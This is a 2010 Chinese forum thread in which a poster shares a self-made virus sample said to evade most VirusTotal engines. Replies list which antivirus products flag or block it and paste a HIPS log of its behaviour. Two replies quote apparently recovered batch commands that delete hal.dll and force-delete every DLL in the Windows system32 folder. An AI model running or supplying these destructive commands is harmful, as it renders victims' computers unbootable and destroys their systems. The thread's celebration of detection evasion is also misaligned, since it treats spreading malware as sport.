刚编的病毒，过主流 vtotal 3/ 43 [MD5: 440D85]

显示全部楼层 · 发表于 2010-12-2 12:16:36

avast! 5.0 拦截

显示全部楼层 · 发表于 2010-12-2 13:00:38

先下下

显示全部楼层 · 发表于 2010-12-2 13:13:59

360 kill

显示全部楼层 · 发表于 2010-12-2 14:51:50

强大

显示全部楼层 · 发表于 2010-12-2 14:56:24

好狠啊。。。

@del "%systemroot%\system32\hal.dll"
@del /f/q/s "%systemroot%\system32\*.dll"

显示全部楼层 · 发表于 2010-12-2 16:16:36

@del "%systemroot%\system32\hal.dll"
@del /f/q/s "%systemroot%\system32\*.dll"

显示全部楼层 · 发表于 2010-12-2 17:40:38

算了。。。连NIS2011扫描都报了。。。已经没意义了。。。

显示全部楼层 · 发表于 2010-12-2 17:59:48

名称：
Trojan.Win32.Agent.lwj
文件：
C:\DOCUMENTS AND SETTINGS\SB\桌面\病毒样本.RAR.CRDOWNLOAD>>病毒样本.exe是木马，是否要删除此文件？

显示全部楼层 · 发表于 2010-12-3 16:32:31

2010-12-3 16:30:25 创建新进程阻止
进程: c:\documents and settings\administrator\桌面\test\病毒样本.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2010-12-3 16:30:25 创建文件阻止
进程: c:\documents and settings\administrator\桌面\test\病毒样本.exe
目标: C:\over.bat
规则: [文件组]文件保护 -> [文件]?:\

显示全部楼层 · 发表于 2010-12-3 17:36:53

卡巴直接阻止下载

[病毒样本] 刚编的病毒，过主流 vtotal 3/ 43 [MD5: 440D85]